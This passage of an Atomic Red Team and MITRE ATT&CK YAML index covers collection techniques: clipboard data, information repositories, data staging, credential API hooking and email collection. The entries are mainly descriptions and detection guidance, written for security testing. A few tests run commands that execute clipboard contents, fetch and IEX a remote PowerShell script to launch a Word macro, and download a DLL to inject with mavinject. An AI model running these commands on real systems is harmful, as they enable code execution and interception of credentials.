        cleanup_command: 'del %temp%\T1115.txt >nul 2>&1

'
        name: command_prompt
    - name: Execute Commands from Clipboard using PowerShell
      auto_generated_guid: d6dc21af-bec9-4152-be86-326b6babd416
      description: 'Utilize PowerShell to echo a command to clipboard and execute
        it

'
      supported_platforms:
      - windows
      executor:
        command: |
          echo Get-Process | clip
          Get-Clipboard | iex
        name: powershell
    - name: Execute commands from clipboard
      auto_generated_guid: 1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff
      description: Echo a command to clipboard and execute it
      supported_platforms:
      - macos
      executor:
        command: |-
          echo ifconfig | pbcopy
          $(pbpaste)
        name: bash
    - name: Collect Clipboard Data via VBA
      auto_generated_guid: 9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52
      description: 'This module copies the data stored in the user''s clipboard and
        writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt

'
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA"
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard"
        cleanup_command: 'Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt"
          -ErrorAction Ignore

'
        name: powershell
  T1213.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1213.001
        url: https://attack.mitre.org/techniques/T1213/001
      - url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
          Retrieved April 4, 2018.
        source_name: Atlassian Confluence Logging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Confluence
      description: |2

        Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:

        * Policies, procedures, and standards
        * Physical / logical network diagrams
        * System architecture diagrams
        * Technical system documentation
        * Testing / development credentials
        * Work / project schedules
        * Source code snippets
        * Links to network shares and other internal resources
      id: attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-03-24T16:42:09.222Z'
      created: '2020-02-14T13:09:51.004Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.

        User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      x_mitre_platforms:
      - SaaS
    atomic_tests: []
  T1056.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1056.004
        url: https://attack.mitre.org/techniques/T1056/004
      - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
          Retrieved December 18, 2017.
        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
        source_name: Microsoft Hook Overview
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
          Retrieved December 12, 2017.'
        source_name: Adlice Software IAT Hooks Oct 2014
      - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
          Mode. Retrieved December 20, 2017.'
        source_name: MWRInfoSecurity Dynamic Hooking 2015
      - url: https://www.exploit-db.com/docs/17802.pdf
        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
          December 12, 2017.
        source_name: HighTech Bridge Inline Hooking Sept 2011
      - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
        source_name: Volatility Detecting Hooks Sept 2012
      - url: https://github.com/prekageo/winhook
        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
        source_name: PreKageo Winhook Jul 2011
      - url: https://github.com/jay/gethooks
        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
          12, 2017.
        source_name: Jay GetHooks Sept 2011
      - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
        description: Felici, M. (2006, December 6). Any application-defined hook procedure
          on my machine?. Retrieved December 12, 2017.
        source_name: Zairon Hooking Dec 2006
      - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
          against user-land. Retrieved December 12, 2017.'
        source_name: EyeofRa Detecting Hooking June 2017
      - url: http://www.gmer.net/
        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
        source_name: GMER Rootkits
      - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
          December 12, 2017.
        source_name: Microsoft Process Snapshot
      - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
        description: Stack Exchange - Security. (2012, July 31). What are the methods
          to find hooked functions and APIs?. Retrieved December 12, 2017.
        source_name: StackExchange Hooks Jul 2012
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Credential API Hooking
      description: |
        Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

        * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
        * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
        * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-11-10T18:29:31.138Z'
      created: '2020-02-11T19:01:15.930Z'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Metadata'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)

        Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.

        Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1056.004
    atomic_tests:
    - name: Hook PowerShell TLS Encrypt/Decrypt Messages
      auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33
      description: 'Hooks functions in PowerShell to read TLS Communications

'
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: Dll To Inject
          type: Path
          default: PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll
        server_name:
          description: TLS Server To Test Get Request
          type: Url
          default: https://www.example.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name})

'
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" -UseBasicParsing
      executor:
        command: |
          mavinject $pid /INJECTRUNNING #{file_name}
          Invoke-WebRequest #{server_name} -UseBasicParsing
        name: powershell
        elevation_required: true
  T1074:
    technique:
      id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Staged
      description: |-
        Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)

        In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

        Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.
      external_references:
      - source_name: mitre-attack
        external_id: T1074
        url: https://attack.mitre.org/techniques/T1074
      - source_name: PWC Cloud Hopper April 2017
        description: PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved
          April 5, 2017.
        url: https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-03-08T10:33:00.855Z'
      created: '2017-05-31T21:30:58.938Z'
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Praetorian
      - Shane Tully, @securitygypsy
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_detection: |-
        Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.

        Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'File: File Access'
      - 'File: File Creation'
      - 'Command: Command Execution'
      x_mitre_version: '1.3'
    atomic_tests: []
  T1530:
    technique:
      created: '2019-08-30T18:07:27.741Z'
      modified: '2021-03-08T10:33:01.374Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      external_references:
      - external_id: T1530
        source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1530
      - source_name: Amazon S3 Security, 2019
        url: https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
        description: Amazon. (2019, May 17). How can I secure the files in my Amazon
          S3 bucket?. Retrieved October 4, 2019.
      - source_name: Microsoft Azure Storage Security, 2019
        url: https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
        description: Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20).
          Azure Storage security guide. Retrieved October 4, 2019.
      - source_name: Google Cloud Storage Best Practices, 2019
        url: https://cloud.google.com/storage/docs/best-practices
        description: Google. (2019, September 16). Best practices for Cloud Storage.
          Retrieved October 4, 2019.
      - source_name: Trend Micro S3 Exposed PII, 2017
        url: https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia
        description: Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed
          Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.
      - source_name: Wired Magecart S3 Buckets, 2019
        url: https://www.wired.com/story/magecart-amazon-cloud-hacks/
        description: 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker
          Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.'
      - source_name: HIPAA Journal S3 Breach, 2017
        url: https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/
        description: HIPAA Journal. (2017, October 11). 47GB of Medical Records and
          Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data from Cloud Storage Object
      description: |-
        Adversaries may access data objects from improperly secured cloud storage.

        Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)

        Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.
      id: attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Cloud Storage: Cloud Storage Access'
      x_mitre_detection: Monitor for unusual queries to the cloud provider's storage
        service. Activity originating from unexpected sources may indicate improper
        permissions are set that is allowing access to data. Additionally, detecting
        failed attempts by a user for a certain object, followed by escalation of
        privileges by the same user, and access to the same object may be an indication
        of suspicious activity.
      x_mitre_contributors:
      - Netskope
      - Praetorian
      x_mitre_version: '1.1'
      x_mitre_platforms:
      - IaaS
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1602:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1602
        url: https://attack.mitre.org/techniques/T1602
      - source_name: US-CERT-TA18-106A
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
      - source_name: US-CERT TA17-156A SNMP Abuse 2017
        url: https://us-cert.cisa.gov/ncas/alerts/TA17-156A
        description: US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved
          October 19, 2020.
      - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
        url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
          19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data from Configuration Repository
      description: |-
        Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

        Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)
      id: attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-10-22T02:26:44.566Z'
      created: '2020-10-19T23:46:13.931Z'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
        or networks that solicits and obtains the configuration information of the
        queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1213:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1213
        url: https://attack.mitre.org/techniques/T1213
      - url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
        description: Microsoft. (2017, July 19). Configure audit settings for a site
          collection. Retrieved April 4, 2018.
        source_name: Microsoft SharePoint Logging
      - url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
          Retrieved April 4, 2018.
        source_name: Atlassian Confluence Logging
      description: |-
        Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

        The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

        * Policies, procedures, and standards
        * Physical / logical network diagrams
        * System architecture diagrams
        * Technical system documentation
        * Testing / development credentials
        * Work / project schedules
        * Source code snippets
        * Links to network shares and other internal resources

        Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.
      name: Data from Information Repositories
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-04-14T14:16:12.151Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '3.1'
      x_mitre_contributors:
      - Praetorian
      - Milos Stojadinovic
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      x_mitre_detection: |-
        As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.

        The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - SaaS
      - Office 365
      - Google Workspace
    atomic_tests: []
  T1005:
    technique:
      created: '2017-05-31T21:30:20.537Z'
      modified: '2020-05-26T19:21:25.974Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1005
        external_id: T1005
      description: |
        Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.

        Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
      name: Data from Local System
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_detection: Monitor processes and command-line arguments for actions
        that could be taken to collect files from a system. Remote access tools with
        built-in features may interact directly with the Windows API to gather data.
        Data may also be acquired through Windows system management tools such as
        [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_system_requirements:
      - Privileges to access certain files and directories
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1039:
    technique:
      id: attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data from Network Shared Drive
      description: Adversaries may search network shares on computers they have compromised
        to find files of interest. Sensitive data can be collected from remote systems
        via shared network drives (host shared directory, network file server, etc.)
        that are accessible from the current system prior to Exfiltration. Interactive
        command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
        may be used to gather information.
      external_references:
      - source_name: mitre-attack
        external_id: T1039
        url: https://attack.mitre.org/techniques/T1039
      - external_id: CAPEC-639
        source_name: capec
        url: https://capec.mitre.org/data/definitions/639.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-03-24T15:42:44.026Z'
      created: '2017-05-31T21:30:41.022Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_system_requirements:
      - Privileges to access network shared drive
      x_mitre_detection: Monitor processes and command-line arguments for actions
        that could be taken to collect files from a network share. Remote access tools
        with built-in features may interact directly with the Windows API to gather
        data. Data may also be acquired through Windows system management tools such
        as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Network Share: Network Share Access'
      - 'Command: Command Execution'
      x_mitre_version: '1.2'
    atomic_tests: []
  T1025:
    technique:
      created: '2017-05-31T21:30:31.584Z'
      modified: '2020-03-24T15:44:46.584Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1025
        external_id: T1025
      description: "Adversaries may search connected removable media on computers
        they have compromised to find files of interest. Sensitive data can be collected
        from any removable media (optical disk drive, USB memory, etc.) connected
        to the compromised system prior to Exfiltration. Interactive command shells
        may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
        may be used to gather information. \n\nSome adversaries may also use [Automated
        Collection](https://attack.mitre.org/techniques/T1119) on removable media."
      name: Data from Removable Media
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_detection: Monitor processes and command-line arguments for actions
        that could be taken to collect files from a system's connected removable media.
        Remote access tools with built-in features may interact directly with the
        Windows API to gather data. Data may also be acquired through Windows system
        management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_system_requirements:
      - Privileges to access removable media drive and files
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1114:
    technique:
      id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Email Collection
      description: 'Adversaries may target user email to collect sensitive information.
        Emails may contain sensitive data, including trade secrets or personal information,
        that can prove valuable to adversaries. Adversaries can collect or forward
        email from mail servers or clients. '
      external_references:
      - source_name: mitre-attack
        external_id: T1114
        url: https://attack.mitre.org/techniques/T1114
      - description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
          Retrieved October 8, 2019.
        url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
        source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-04-14T14:22:44.435Z'
      created: '2017-05-31T21:31:25.454Z'
      x_mitre_contributors:
      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Windows
      - Office 365
      - Google Workspace
      x_mitre_detection: |-
        There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.

        File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.

        Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.

        Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Network Traffic: Network Connection Creation'
      - 'Logon Session: Logon Session Creation'
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      x_mitre_version: '2.2'
    atomic_tests: []
  T1114.003:
    technique:
      external_references:
